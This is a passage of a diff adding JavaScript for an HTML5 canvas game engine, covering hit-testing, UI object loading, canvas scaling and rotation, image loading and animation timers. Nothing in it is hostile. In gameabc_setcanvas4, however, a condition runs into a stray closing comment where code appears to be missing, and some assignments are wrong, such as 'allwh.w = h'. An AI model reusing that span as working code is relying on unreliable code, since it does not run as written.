;obj.appendChild(dom); +} +;function other_setdom_v(pdom, v) { + var obj; + if (typeof (pdom) == 'string') { + obj = gameabc_face.getdiv(pdom); + } else { + obj = pdom; + } + ;if (v == 0) { + obj.style.display = "none"; + } else { + obj.style.display = "block"; + } +} +;function ifast_urlstr(sstr) { + return encodeURIComponent(sstr); +} +;function ifast_unurlstr(sstr) { + return decodeURIComponent(sstr); +} +;function ifast_checkjsonstr(v) { + v = other_replaceall(v, "\n", "\\n"); + v = other_replaceall(v, "\r", "\\r"); + return v; +} +;ifastunit = 7; +var gameabc_func = gameabc_func || {}; +function set_self2(name, cpid, val, mode, val2) {} +;function get_self2(name, cpid, val, mode, val2) {} +;gameabc_func.resizespanle2 = function(uidata, obj, allwh, mode) { + var wh = {}; + switch (mode) { + case 0: + wh = allwh; + break; + case 1: + break; + case 2: + break; + } + ;return wh; +} +; +gameabc_func.resizespanle = function(levelid, w, h) { + var objs = gameabc_Layer.LayerList[levelid].ObjectList; + var i; + var objid; + var obj; + var l = objs.length; + var allwh = {}; + allwh.x = 0; + allwh.y = 0; + allwh.w = w; + allwh.w = h; + var sywh = {}; + sywh.x = 0; + sywh.y = 0; + sywh.w = w; + sywh.w = h; + for (i = 0; i < l; i++) { + objid = objs[i]; + obj = gameabc_func.getobj(objid); + if (ifast_isno(obj)) { + continue; + } + ;if (obj.uidata.ObjectType == 6) { + if (obj.uidata.SizeStyle <= 1) { + sywh = gameabc_func.resizespanle2(obj.uidata, obj, allwh, obj.uidata.SizeStyle); + } else { + sywh = gameabc_func.resizespanle2(obj.uidata, obj, sywh, obj.uidata.SizeStyle); + } + ; + } + ; + } +} +; +gameabc_func.getobj = function(id) { + if (id < 1) { + return gameabc_face.obj; + } + ;return gameabc_Object["sp" + id]; +} +; +function gamabc_getval(val, val2, mode) { + switch (mode) { + case -1: + return val; + break; + case 0: + return val2; + break; + case 1: + return val + val2; + break; + case 2: + return val - val2; + break; + case 3: + return parseInt(val * val2); + break; + case 4: + return parseInt(val / val2); + break; + default: + return val; + break; + } +} +;gameabc_func.setioplay = function() { + setioplay(); +} +; +gameabc_func.getval = function(val, val2, mode) { + gamabc_getval(val, val2, mode); +} +; +gameabc_func.get_self = function(id, cpid, val, mode, val2) { + return get_self(id, cpid, val, mode, val2); +} +; +gameabc_func.set_self = function(id, cpid, val, mode, val2) { + set_self(id, cpid, val, mode, val2); +} +; +gameabc_func.set_group = function(groupid, cpid, val, mode, val2) { + set_group(groupid, cpid, val, mode, val2); +} +; +gameabc_func.set_level = function(levelid, vsb) { + set_level(levelid, vsb); +} +; +function gameabc_insert_sp() {} +;function gameabc_del_sp() {} +;function gameabc_getrect1() {} +;function gameabc_getrect2(recid, frame) { + var obj; + if (recid < 10000) { + obj = gameabc_Image.ImageFileList[recid]; + } else { + obj = gameabc_Image.addimgs['add' + recid]; + if (!obj) { + alert('add' + recid + '不存在!'); + } + ; + } + ;var w = obj.w1; + var h = obj.h1; + var x = obj.w; + var y = obj.h; + var frame_all = obj.frame_all; + frame = frame - 1; + if (frame < 0) + frame = 0; + frame = frame % frame_all; + var py = parseInt(frame / x); + var px = frame % x; + var r = {}; + r.x = px * w; + r.y = py * h; + r.w = w; + r.h = h; + return r; +} +;function gameabc_loadui1(canvas1, w, h) {} +;function gameabc_loaduiall() { + gameabc_loadui2(); +} +;function gameabc_getobj(id) { + if (id < 1) { + return gameabc_face.obj; + } + ;return gameabc_Object["sp" + id]; +} +;function gameabc_check_add(spid, x1, y1) { + var id = -99999999; + var i; + var obj = ifast_getobj(spid); + var obj2; + var x; + var y; + var w; + var h; + if (obj.addlist) { + var l = obj.addlist.length; + if (l > 0) { + for (i = l - 1; i >= 0; i--) { + obj2 = obj[obj.addlist[i]]; + if (!obj2) {//---xwb------- + continue; + } + if (!obj2.visbale) {//---xwb------- + continue; + } + if (obj2.visbale == false) { + continue; + } + ;if (obj2.canclick == false) { + continue; + } + ;if (obj2.ObjectType == 6) { + continue; + } + ;x = obj2.x + obj.x; + y = obj2.y + obj.y; + w = obj2.w; + h = obj2.h; + if (x1 >= x && x1 < x + w && y1 > y && y1 < y + h) { + return obj2.add_fatag; + } + } + } + } + ;return id; +} +;function gameabc_check_click2(x1, y1) { + var le = gameabc_Layer.LayerList; + var order = gameabc_Layer.showorder; + var orderlen = order.length; + var xx; + var yy; + var yy1; + var ok = 0; + var list; + for (yy1 = orderlen - 1; yy1 >= 0; yy1--) { + yy = order[yy1]; + if (!le[yy].Property) { + continue; + } + ;if (le[yy].vsb == 0) { + continue; + } + ;if (le[yy].canclick == 0) { + continue; + } + ;list = le[yy].ObjectList; + for (xx = list.length - 1; xx >= 0; xx--) { + obj = gameabc_Object["sp" + list[xx]]; + if (obj) { + ok = gameabc_check_click1(obj, x1, y1); + if (ok != 0) { + return ok; + } + } else { + if (!gameabc_face.tsbb) { + showmessage('版本可能未注册!'); + gameabc_face.tsbb = 1; + } + } + } + ;if (ok != 0) { + return ok; + } + } + ;return 0; +} +;function gameabc_check_click1(obj, x1, y1) { + if (obj.visbale == false) { + return 0; + } + ;if (obj.canclick == false) { + return 0; + } + ;if (obj.ObjectType == 6) { + return 0; + } + ;if (gameabc_Layer.LayerList[obj.z].vsb == false) { + return 0; + } + ;if (obj.f) { + x = obj.x + obj.f.x; + y = obj.y + obj.f.y; + } else { + x = obj.x; + y = obj.y; + } + ;w = obj.w; + h = obj.h; + if (x1 >= x && x1 < x + w && y1 > y && y1 < y + h) { + return obj.objid; + } + ;return 0; +} +;function gameabc_check_click(x1, y1) { + return gameabc_check_click2(x1, y1); + var obs = g_GameObjectManager.gameObjects; + var i; + var x; + var y; + var w; + var h; + var ob; + for (i = obs.length - 1; i >= 0; i--) { + if (obs[i].visbale == false) { + continue; + } + ;if (obs[i].canclick == false) { + continue; + } + ;if (obs[i].ObjectType == 6) { + continue; + } + ;if (gameabc_Layer.LayerList[obs[i].z].vsb == false) { + continue; + } + ;if (obs[i].f) { + x = obs[i].x + obs[i].f.x; + y = obs[i].y + obs[i].f.y; + } else { + x = obs[i].x; + y = obs[i].y; + } + ;w = obs[i].w; + h = obs[i].h; + if (x1 >= x && x1 < x + w && y1 > y && y1 < y + h) { + return obs[i].objid; + } + } + ;return 0; +} +;function gameabc_loadui2(ObjectID) { + if (arguments.length == 0) { + gameabc_face.ifast_app = 0; + gameabc_face.logmessage("gameabc_loadui2"); + if (!gameabc_Layer.showorder) { + gameabc_Layer.showorder = []; + gameabc_Layer.showtimelist = []; + } + ;var i; + for (i = 1; i < gameabc_Object.ObjectList.length; i++) { + gameabc_loadui2(i); + } + ;var d = 1; + var okle; + for (d = 1; d < gameabc_Layer.LayerList.length; d++) { + okle = gameabc_Layer.LayerList[d]; + okle.vsb = 1; + okle.canclick = 1; + okle.ontimelist = []; + gameabc_Layer.showorder[d - 1] = d; + if (!okle.allrect) { + okle.allrect = {}; + okle.syrect = {}; + okle.myrect = {}; + } + } + ;for (i = 1; i < gameabc_Object.ObjectList.length; i++) { + var objx = gameabc_Object.ObjectList[i].Property; + if (!objx) { + continue; + } + ;if (!objx.obj2) { + continue; + } + ;var fun = gameabc_face["ontimer_" + objx.ObjectID]; + if (fun) { + okle = gameabc_Layer.LayerList[objx.BelongLayerID]; + okle.ontimelist.push(objx.ObjectID); + } + ;if (objx.obj2.f > 0) { + objx.obj2.f = ifast_getobj(objx.obj2.f); + } + ; + } + ;for (d = 1; d < gameabc_Layer.LayerList.length; d++) { + okle = gameabc_Layer.LayerList[d]; + if (okle.ontimelist.length > 0) { + gameabc_Layer.showtimelist.push(d); + } + } + ;gameabc_face.loadui2 = 1; + return; + } + ;var objs = gameabc_Object.ObjectList; + var obj = gameabc_Object.ObjectList[ObjectID].Property; + if (!obj) { + return; + } + ;if (obj.obj2) { + if (obj.obj2 != null) { + return; + } + } + ;var obj2 = null; + var op = obj.ObjectType; + var x = obj.Left; + var y = obj.Top; + var z = obj.BelongLayerID; + var zorder = z * 10000 + obj.IndexOfLayer; + var w = obj.Width; + var h = obj.Height; + var f = obj.FrameIndex; + var recid = obj.ImageFileID; + var Parent = obj.Parent; + switch (op) { + case 6: + obj2 = new gameabc_panle().gameabc_open(ObjectID, x, y, zorder, w, h); + obj2.Align = obj.Align; + obj2.SizeStyle = obj.SizeStyle; + obj2.Size = obj.Size; + gameabc_face.ifast_app = 1; + break; + case 5: + obj2 = new gameabc_list().gameabc_open(ObjectID, x, y, zorder, w, h); + obj2.charge(obj.Left, obj.Top, obj.Width, obj.Height, 0, 0); + break; + case 2: + var imgid = obj.ImageFileID; + var img = null; + img = gameabc_load_img2(imgid); + obj2 = new gameabc_img().gameabc_open(img, x, y, zorder); + obj2.objid = ObjectID; + obj2.w = w; + obj2.h = h; + obj2.frame = f; + obj2.recid = recid; + obj2.classid = op; + obj2.caption = obj.TextFrames; + break; + case 3: + f = obj.GameTxtID; + obj2 = new gameabc_imgtxt().gameabc_open("", x, y, zorder); + obj2.objid = ObjectID; + obj2.classid = op; + obj2.w = w; + obj2.h = h; + obj2.frame = f; + if (obj.GameTxtStyle > 0) { + var t = 0; + if (obj.GameTxtStyle < 3) { + if (obj.Data) { + t = parseInt(obj.Data); + } + } + ;obj2.uipointer = gameabc_face.addinputdiv("div" + ObjectID, obj.GameTxtStyle - 1 + t, x, y, w, h); + if (obj2.uipointer) { + obj2.uipointer.mode = obj.GameTxtStyle - 1; + gameabc_face.setdiv_text(obj2.uipointer, gameabc_GameTxt.GameTxtList[f].Text); + } + ; + } + ;break; + case 4: + var txt = objs[ObjectID].Property.Text; + obj2 = new gameabc_txt().gameabc_open(txt, x, y, zorder); + obj2.objid = ObjectID; + obj2.classid = op; + obj2.w = w; + obj2.h = h; + if (obj.GameTxtStyle > 0) { + if (obj.Data) { + obj.GameTxtStyle = parseInt(obj.Data); + } + ;obj2.uipointer = gameabc_face.addinputdiv("div" + ObjectID, obj.GameTxtStyle - 1, x, y, w, h); + if (obj2.uipointer) { + obj2.uipointer.mode = obj.GameTxtStyle - 1; + gameabc_face.setdiv_text(obj2.uipointer, txt); + } + ; + } + ;break; + } + ;if (obj2) { + gameabc_Object["sp" + ObjectID] = obj2; + obj2.classid = op; + obj.obj2 = obj2; + obj2.z = z; + if (Parent) { + obj2.f = Parent; + } + ;obj2.uidata = obj; + if (obj.canclick) { + obj2.canclick = obj.canclick; + } + ;if (objs[ObjectID].visbale) { + obj2.visbale = obj.visbale; + } + ;obj2.ontime = obj.TimerInterval; + obj2.groupid = obj.GroupID; + obj2.levelobj = gameabc_Layer.LayerList[z]; + } + ; +} +;function gameabc_getnewxywh2(myw, myh, w, h, cj) { + var sh, sw, ss, neww, newh, neww2, newh2; + sh = h / myh; + sw = w / myw; + var offx = 0 + , offy = 0; + ///---xwb + cj=100; + switch (cj) { + case 2: + ss = Math.min(sh, sw); + neww = parseInt(myw * ss); + newh = parseInt(myh * ss); + neww2 = parseInt((w - neww) * 0.5); + newh2 = parseInt((h - newh) * 0.5); + if (Math.abs(neww2) > Math.abs(newh2)) { + offx = offx + neww2; + } else { + offy = offy + newh2; + } + ;return [offx, offy, neww, newh]; + break; + case 1: + ss = Math.max(sh, sw); + neww = parseInt(myw * ss); + newh = parseInt(myh * ss); + neww2 = parseInt((w - neww) * 0.5); + newh2 = parseInt((h - newh) * 0.5); + if (Math.abs(neww2) > Math.abs(newh2)) { + offx = offx + neww2; + } else { + offy = offy + newh2; + } + ;return [offx, offy, neww, newh]; + break; + default: + return [offx, offy, w, h]; + break; + } + ; +} +;function gameabc_getnewxywh(w, h, canvas1) { + var da; + da = gameabc_getnewxywh2(g_GameObjectManager.backBuffer.width, g_GameObjectManager.backBuffer.height, w, h, gameabc_face.jm_sj_cj); + gameabc_face.sy_x = da[0]; + gameabc_face.sy_y = da[1]; + gameabc_face.sy_w = da[2]; + gameabc_face.sy_h = da[3]; + if (canvas1) { + gameabc_setcanvas4(canvas1, da[0], da[1], da[2], da[3]); + var ui = g_GameObjectManager; + var ifastbkoff = 5; + if (ui.bg1) { + if (da[0] > 0) { + ui.bg1.height = h; + ui.bg1.width = da[0] + ifastbkoff; + ui.bg1.style.height = h + "px"; + ui.bg1.style.width = da[0] + ifastbkoff + "px"; + ui.bg1.style.left = 0 + "px"; + ui.bg1.style.top = 0 + "px"; + ui.d2dbj1.fillStyle = "red"; + ui.d2dbj1.clearRect(0, 0, ui.bg1.width, ui.bg1.height); + ui.bg1.x = 0; + ui.bg1.y = 0; + ui.bg1.w = da[0] + ifastbkoff; + ui.bg1.h = h; + ui.bg2.height = h; + ui.bg2.width = da[0] + ifastbkoff; + ui.bg2.style.height = h + "px"; + ui.bg2.style.width = da[0] + ifastbkoff + "px"; + ui.bg2.style.left = da[0] + da[2] - ifastbkoff + "px"; + ui.bg2.style.top = 0 + "px"; + ui.d2dbj2.fillStyle = "yellow"; + ui.d2dbj2.clearRect(0, 0, ui.bg2.width, ui.bg2.height); + ui.bg2.x = da[0] + da[2] - ifastbkoff; + ui.bg2.y = 0; + ui.bg2.w = da[0] + ifastbkoff; + ui.bg2.h = h; + } else { + ui.bg1.height = da[1] + ifastbkoff; + ui.bg1.width = w; + ui.bg1.style.height = da[1] + ifastbkoff + "px"; + ui.bg1.style.width = w + "px"; + ui.bg1.style.left = 0 + "px"; + ui.bg1.style.top = 0 + "px"; + ui.d2dbj1.fillStyle = "red"; + ui.d2dbj1.clearRect(0, 0, ui.bg1.width, ui.bg1.height); + ui.bg1.x = 0; + ui.bg1.y = 0; + ui.bg1.w = 0; + ui.bg1.h = da[1] + ifastbkoff; + ui.bg2.height = da[1] + ifastbkoff; + ui.bg2.width = w; + ui.bg2.style.height = da[1] + ifastbkoff + "px"; + ui.bg2.style.width = w + "px"; + ui.bg2.style.left = 0 + "px"; + ui.bg2.style.top = da[1] + da[3] - ifastbkoff + "px"; + ui.d2dbj2.fillStyle = "yellow"; + ui.d2dbj2.clearRect(0, 0, ui.bg2.width, ui.bg2.height); + ui.bg2.x = 0; + ui.bg2.y = da[1] + da[3] - ifastbkoff; + ui.bg2.w = w; + ui.bg2.h = da[1] + ifastbkoff; + } + } + } + ; +} +; +function fset(w, h) { + // if (1==1) + // {return;); + if ((w / h) > (winHeight/winWidth )) { + //height + img.style.width = winWidth + 'px'; + img.style.height =((winWidth/w) * h)+ 'px'; + } + else { + //width + img.style.height = winHeight + 'px'; + img.style.width =((winHeight/h) * w)+ 'px'; + } + + +} + +function gameabc_setcanvas4(canvas1, x, y, w, h) { + if (!gameabc_face.dfwgao) { + canvas1.height = h; + canvas1.width = w; + } else { + var t,c; + c=0; + if (wg_GameObjectManager.backBuffer.height || ww>g_GameObjectManager.backBuffer.width) + { + var sw=g_GameObjectManager.backBuffer.width/ww; + var sh=g_GameObjectManager.backBuffer.height/hh; + if (sw>sh) + { + //hh= g_GameObjectManager.backBuffer.width; + ww= parseInt( sw*ww); + } else + { + // ww= g_GameObjectManager.backBuffer.height; + hh= parseInt(sh*hh); + + } + }*/ +//g_GameObjectManager.backBuffer.width, g_GameObjectManager.backBuffer.height + + + + canvas1.height = hh; + canvas1.width =ww; + + + + // canvas1.style.height = window.innerHeight + "px"; + // canvas1.style.width = window.innerWidth + "px"; + }; + + //获取窗口宽度 + if (window.innerWidth) + winWidth = window.innerWidth; + else if ((document.body) && (document.body.clientWidth)) + winWidth = document.body.clientWidth; +//获取窗口高度 + if (window.innerHeight) + winHeight = window.innerHeight; + else if ((document.body) && (document.body.clientHeight)) + winHeight = document.body.clientHeight; +//通过深入Document内部对body进行检测,获取窗口大小 + if (document.documentElement && document.documentElement.clientHeight && document.documentElement.clientWidth) { + winHeight = document.documentElement.clientHeight; + winWidth = document.documentElement.clientWidth; + } + img = document.getElementById('ifastgame'); + + fset(w, h); + + if (winHeight > winWidth) {//物理旋转了,我们也旋转 + + /*兼容transform*/ + img.style.transform = 'rotate(90deg)'; + img.style.msTransform = 'rotate(90deg)'; + img.style.oTransform = 'rotate(90deg)'; + img.style.mozTransform = 'rotate(90deg)'; + img.style.webkitTransform = 'rotate(90deg)'; + + img.style.transformOrigin = '0 0 0'; + img.style.msTransformOrigin = '0 0 0'; + img.style.oTransformOrigin = '0 0 0'; + img.style.mozTransformOrigin = '0 0 0'; + img.style.webkitTransformOrigin = '0 0 0'; + + img.style.height = winWidth + 'px' ; + img.style.width = winHeight + 'px' ; + img.style.marginLeft = winWidth + 'px'; + // var itout = setTimeout(freset(imgw ,imgh ), 2000); + + + } else + { + /*兼容transform*/ + img.style.transform = 'rotate(0deg)'; + img.style.msTransform = 'rotate(0deg)'; + img.style.oTransform = 'rotate(0deg)'; + img.style.mozTransform = 'rotate(0deg)'; + img.style.webkitTransform = 'rotate(0deg)'; + img.style.marginTop='0px'; + img.style.marginLeft='0px'; + img.style.height = winHeight + 'px' ; + img.style.width = winWidth + 'px' ; + + + // var itout = setTimeout(freset0(imgw ,imgh), 2000); + + + } + + + + + + + + canvas1.style.left = x + "px"; + canvas1.style.top = y + "px"; + canvas1.left = x; + canvas1.top = y; + gameabc_face.sy_x = x; + gameabc_face.sy_y = y; + gameabc_face.sy_w = w; + gameabc_face.sy_h = h; +} +;function gameabc_setcanvas3(canvas1, w, h) { + gameabc_setcanvas2(g_GameObjectManager.backBuffer); + gameabc_setcanvas2(canvas1); + gameabc_getnewxywh(w, h, canvas1); + document.body.style.backgroundColor = "black"; + gameabc_face.showmode = 0; + gameabc_face.mouse_sx = g_GameObjectManager.backBuffer.width / gameabc_face.sy_w; + gameabc_face.mouse_sy = g_GameObjectManager.backBuffer.height / gameabc_face.sy_h; + if (gameabc_face.jm_sj_xz == 1) { + var x1 = g_GameObjectManager.backBuffer.width / g_GameObjectManager.backBuffer.height; + var y1 = w / h; + if (x1 > 1 && y1 > 1) { + gameabc_face.jm_sj_tong = 1; + } + ;if (x1 < 1 && y1 < 1) { + gameabc_face.jm_sj_tong = 1; + } + ;if (x1 > 1 && y1 < 1) { + gameabc_face.jm_sj_tong = 0; + } + ;if (x1 < 1 && y1 > 1) { + gameabc_face.jm_sj_tong = 0; + } + ; + } + ; +} +;function gameabc_setcanvas1(canvas1, w, h) { + canvas1.height = h; + canvas1.width = w; +} +;function gameabc_setcanvas2(canvas1) { + gameabc_setcanvas1(canvas1, gameabc_Project.Property.ScreenWidth, gameabc_Project.Property.ScreenHeight); +} +;function gameabc_load_img1(g_image1, path, imgpath, okfunc) { + g_image1.error = 0; + g_image1.ok = 0; + var count = 0; + g_image1.onload = function() { + this.ok = 1; + gameabc_face.img_list_downing.removeObject(this); + if (this.backBuffer) { + delete this.backBuffer; + delete this.mydc; + } + ;this.backBuffer = undefined; + gameabc_check_img_ok(); + if (gameabc_face.onloadurl) { + gameabc_face.drawcharge = 1; + gameabc_face.onloadurl(0, 1, this.pathx, 0, gameabc_face.loadcount); + } else { + gameabc_face.drawcharge = 1; + if (gameabc_face.loadcount == 100) { + game_close_zsmsg(""); + } else { + game_open_zsmsg(gameabc_face.loadcount + "%" + " 加载..."); + } + ; + } + ; + } + ; + //===xwb + var xwb_random=1;//修改版本号 + var xwbif_random=1; + g_image1.onerror = function() { + this.error = this.error + 1; + gameabc_face.drawcharge = 1; + if (this.error == 3) { + var canvas = document.createElement("canvas"); + canvas.width = this.allw; + canvas.height = this.allh; + var c2d = canvas.getContext("2d"); + c2d.drawImage(gameabc_face.banall_img, 0, 0, 1, 1, 0, 0, this.allw, this.allh); + this.src = canvas.toDataURL("image/png"); + this.ok = 1; + gameabc_face.img_list_downing.removeObject(this); + if (this.backBuffer) { + delete this.backBuffer; + delete this.mydc; + } + ;this.backBuffer = undefined; + canvas = null; + } else { + if (xwbif_random==1) + { + this.src = this.pathx +"?v="+ xwb_random; + } else + { + this.src = this.pathx + "?kk=" + ifast_random(gameabc_face.randombase) + 10; + } + + return; + } + ;gameabc_check_img_ok(); + if (gameabc_face.onloadurl) { + gameabc_face.drawcharge = 1; + gameabc_face.onloadurl(0, 1, this.pathx, 1, gameabc_face.loadcount); + } else { + gameabc_face.drawcharge = 1; + if (gameabc_face.loadcount == 100) { + game_close_zsmsg(""); + } else { + game_open_zsmsg(gameabc_face.loadcount + "%" + " 加载..."); + } + ; + } + } + ; + if (xwbif_random==1) + { + g_image1.src_pre = path + "/" + imgpath + "?v=" + xwb_random; + } else + { + g_image1.src_pre = path + "/" + imgpath + "?kk=" + ifast_random(gameabc_face.randombase) + 10; + } + gameabc_face.img_list_pre.push(g_image1); + g_image1.pathx = path + "/" + imgpath; +} +;function gameabc_check_img_ok(image_id) { + if (image_id > 0) { + if (!gameabc_Image.ImageFileList[image_id].img) { + return 0; + } + ;return gameabc_Image.ImageFileList[image_id].img.ok; + } else { + var i; + var y = 0; + var t = 0; + for (i = 1; i < gameabc_Image.ImageFileList.length; i++) { + if (!gameabc_Image.ImageFileList[i].img) { + continue; + } + ;t++; + if (gameabc_Image.ImageFileList[i].img.ok == 1) { + y++; + } + } + ;if (y >= t) { + gameabc_face.loadcount = 100; + return 100; + } else { + gameabc_face.loadcount = parseInt((y / t) * 100); + return gameabc_face.loadcount; + } + } +} +;function gameabc_load_img_ok(image_id) { + gameabc_Image.ImageFileList[image_id].img.ok = 1; +} +;function gameabc_load_img3(image_id, okfunc) { + var objimg = gameabc_Image.ImageFileList[image_id]; + game_abc_imgpath = gameabc_face.path; + if (objimg.img == undefined) { + objimg.img = new Image(); + objimg.img.id = image_id; + objimg.img.ok = 0; + objimg.img.allw = objimg.w_all; + objimg.img.allh = objimg.h_all; + gameabc_load_img1(objimg.img, game_abc_imgpath, objimg.bmp, okfunc) + } + ;return objimg.img; +} +;function gameabc_load_img_add(image_id, url, okfunc) { + game_abc_imgpath = gameabc_face.path; + var objimg = gameabc_Image.ImageFileList[image_id]; + if (objimg.img == undefined) { + objimg.img = new Image(); + objimg.img.id = image_id; + objimg.img.ok = 0; + objimg.img.allw = objimg.w_all; + objimg.img.allh = objimg.h_all; + gameabc_load_img1(objimg.img, game_abc_imgpath, objimg.bmp, okfunc) + } + ;return objimg.img; +} +;function gameabc_load_img2(image_id, okfunc) { + game_abc_imgpath = gameabc_face.path; + var objimg = gameabc_Image.ImageFileList[image_id]; + if (objimg.img == undefined) { + objimg.img = new Image(); + objimg.img.id = image_id; + objimg.img.ok = 0; + objimg.img.allw = objimg.w_all; + objimg.img.allh = objimg.h_all; + gameabc_load_img1(objimg.img, game_abc_imgpath, objimg.bmp, okfunc) + } + ;return objimg.img; +} +;function gameabc_load_wav1(g_wav1, path, imgpath) {} +;function gameabc_load_wav1_ok(wav_id) { + gameabc_Voice.VoiceFileList[1].wav1.ok = 1; +} +;function gameabc_load_wav2(wav_id, okfunc) { + return gameabc_Image.ImageFileList[image_id].img; +} +;ifastunit = 8; +var ifast_wss = ifast_wss || {}; +ifast_wss.list = new Array(); +ifast_wss.listani = new Array(); +ifast_wss.listbox = new Array(); +function dfwplaybox(zt, id, sx, start, startv, av, timelen, obj) { + var self = this; + if (obj) { + if (typeof (obj) == "object") { + self = obj; + } + ; + } + ;self.myid = id * 1000000 + sx; + self.zt = zt; + self.id = id; + self.sx = sx; + self.start = start; + self.startv = startv; + self.av = av; + if (timelen) { + self.timelen = timelen; + } else { + self.timelen = 0; + } + ;self.aniopentime = gameabc_face.nowttime; + self.aniusetime = 0; + self.aniusetimeone = 0; + self.aniusecs = 0; + self.nowttime = gameabc_face.nowttime; + self.run = 1; +} +;function dfwplayani(zt, id, sx, start, end, times0, timelen, timee, timesz, timese, timesall, timeall, xhmode, obj) { + var self = this; + if (obj) { + if (typeof (obj) == "object") { + self = obj; + } + ; + } + ;self.myid = id * 1000000 + sx; + self.zt = zt; + self.id = id; + self.sx = sx; + self.start = start; + self.end = end; + self.times0 = times0; + self.timelen = timelen; + self.timee = timee; + if (timesz) { + self.timesz = timesz; + } else { + self.timesz = 0; + } + ;if (timese) { + self.timese = timese; + } else { + self.timese = 0; + } + ;if (timesall) { + self.timesall = timesall; + } else { + self.timesall = 0; + } + ;if (timeall) { + self.timeall = timeall; + } else { + self.timeall = 0; + } + ;if (xhmode) { + self.xhmode = xhmode; + } else { + self.xhmode = 0; + } + ;self.aniopentime = gameabc_face.nowttime; + self.aniusetime = 0; + self.aniusetimeone = 0; + self.aniusecs = 0; + self.nowttime = gameabc_face.nowttime; + self.run = 1; +} +;ifast_wss.copyid = function(str) { + var i, k; + for (var i = 0; i < str.length; i++) { + if (str[i] == "i") { + k = i; + break; + } + ; + } + ;return parseInt(str.substr(0, k)); +} +; +ifast_wss.playbox = function(zt, id, sx, start, startv, av, timelen) { + var idid = id + "ibox" + sx; + if (id > 0 && sx <= 0) { + var o; + var ido; + for (o = 0; o < this.listbox.length; o++) { + idid = this.listbox[o]; + ido = this.copyid(idid); + if (ido == id) { + this.listbox[idid].zt = 0; + } + } + ;return; + } + ;if (id <= 0 && sx <= 0) { + var o; + for (o = 0; o < this.listbox.length; o++) { + idid = this.listbox[o]; + this.listbox[idid].zt = 0; + } + ;return; + } + ;if (this.listbox[idid] == undefined || this.listbox[idid] == null) { + if (zt <= 0) { + return null; + } + ;var dfwplaybox1 = new dfwplaybox(zt,id,sx,start,startv,av,timelen); + this.listbox[idid] = dfwplaybox1; + this.listbox.push(idid); + return dfwplaybox1; + } else { + if (zt <= 0) { + if (this.listbox.length < 40) { + this.listbox[idid].zt = zt; + } else { + this.listbox[idid] = null; + delete this.listbox[idid]; + this.listbox.removeObject(idid); + } + ; + } else { + var self = this.listbox[idid]; + dfwplaybox(zt, id, sx, start, startv, av, timelen, self); + } + ; + } + ; +} +; +ifast_wss.playani = function(zt, id, sx, start, end, times0, timelen, timee, timesz, timese, timesall, timeall, xhmode) { + if (timelen <= 0 && zt > 0) { + logmessage("playani--timelen参数不能为0"); + return; + } + ;var idid = id + "iani" + sx; + if (id > 0 && sx <= 0) { + var o; + var ido; + for (o = 0; o < this.listani.length; o++) { + idid = this.listani[o]; + ido = this.copyid(idid); + if (ido == id) { + this.listani[idid].zt = 0; + } + } + ;return; + } + ;if (id <= 0 && sx <= 0) { + var o; + for (o = 0; o < this.listani.length; o++) { + idid = this.listani[o]; + this.listani[idid].zt = 0; + } + ;return; + } + ;if (this.listani[idid] == undefined || this.listani[idid] == null) { + if (zt == 0) { + return null; + } + ;var dfwplayani1 = new dfwplayani(zt,id,sx,start,end,times0,timelen,timee,timesz,timese,timesall,timeall,xhmode); + this.listani[idid] = dfwplayani1; + this.listani.push(idid); + return dfwplayani1; + } else { + if (zt <= 0) { + if (this.listani.length < 40) { + this.listani[idid].zt = zt; + } else { + this.listani[idid] = null; + delete this.listani[idid]; + this.listani.removeObject(idid); + } + } else { + var self = this.listani[idid]; + dfwplayani(zt, id, sx, start, end, times0, timelen, timee, timesz, timese, timesall, timeall, xhmode, self); + } + ; + } + ; +} +; +var gameabc_back = 0; +function gameabc_runani(obj) { + if (!obj) { + var i; + var b = ifast_wss.listani; + for (x in b) { + if (typeof (b[x]) == "object") { + gameabc_face.drawcharge = 1; + gameabc_runani(b[x]); + } + ; + } + ;return; + } + ;if (obj.zt <= 0) { + return; + } + ;var t = gameabc_face.nowttime - obj.aniopentime; + var t2 = obj.times0 + obj.timelen + obj.timee; + if ((t <= obj.timeall || obj.timeall == 0) && (obj.timesall == 0 || obj.aniusecs < obj.timesall)) { + var cs; + var cstime; + var u; + if (t < obj.timesz) { + return; + } + ;t = t - obj.timesz; + cs = ifast_div(t, t2); + { + if (obj.aniusecs < cs) { + obj.aniusecs = cs; + if (gameabc_face.ani_doend) { + if (ifast_mod(obj.aniusecs, 2) == 0) { + set_self(obj.id, obj.sx, obj.start, 0, 0); + } else { + set_self(obj.id, obj.sx, obj.end, 0, 0); + } + ;gameabc_face.ani_doend(obj.id, obj.sx, obj.aniusecs, 0); + } + ;return; + } + } + ;cstime = ifast_mod(t, t2) - obj.times0; + switch (obj.xhmode) { + case 2: + u = ifast_random(obj.end - obj.start) + obj.start; + set_self(obj.id, obj.sx, parseInt(u), 0, 0); + break; + case 0: + u = (obj.end - obj.start) * (cstime / obj.timelen) + obj.start; + set_self(obj.id, obj.sx, parseInt(u), 0, 0); + break; + case 1: + if (ifast_mod(obj.aniusecs, 2) == 0) { + u = (obj.end - obj.start) * (cstime / obj.timelen) + obj.start; + } else { + u = obj.end - (obj.end - obj.start) * (cstime / obj.timelen); + } + ;set_self(obj.id, obj.sx, parseInt(u), 0, 0); + break; + default: + break; + } + ; + } else { + if (obj.run == 1) { + obj.run = 0; + if (gameabc_face.ani_doend) { + gameabc_face.ani_doend(obj.id, obj.sx, obj.aniusecs, 1); + } + } + } +} +;function gameabc_runbox(obj) { + if (!obj) { + var i; + var b = ifast_wss.listbox; + for (x in b) { + if (typeof (b[x]) == "object") { + gameabc_face.drawcharge = 1; + gameabc_runbox(b[x]); + } + ; + } + ;return; + } + ;if (obj.zt <= 0) { + return; + } + ;var t = gameabc_face.nowttime - obj.aniopentime; + if (t < obj.timelen || obj.timelen == 0) { + t = t / 1000; + var v2 = (obj.startv + obj.av * t / 2) * t; + var u = parseInt(obj.start + v2); + set_self(obj.id, obj.sx, u, 0, 0); + } else { + if (obj.run == 1) { + if (gameabc_face.box_doend) { + gameabc_face.box_doend(obj.id, obj.sx, obj.timelen); + } + ;obj.run = 0; + } + } + ; +} +;function gameabc_toclient(mode, obj, ctx) { + if (mode == 1) { + ctx.translate(obj.x, obj.y); + ctx.translate(obj.w / 2 + obj.cx, obj.h / 2 + obj.cy); + } else { + ctx.translate(-obj.w / 2 - obj.cx, -obj.h / 2 - obj.cy); + ctx.translate(-obj.x, -obj.y); + } +} +;function gameabc_save(obj, ctx) { + if (obj.arge != 0 || obj.ap != 255 || obj.hu != 0 || obj.jx != 0) { + gameabc_back = 1; + } + ; +} +;function 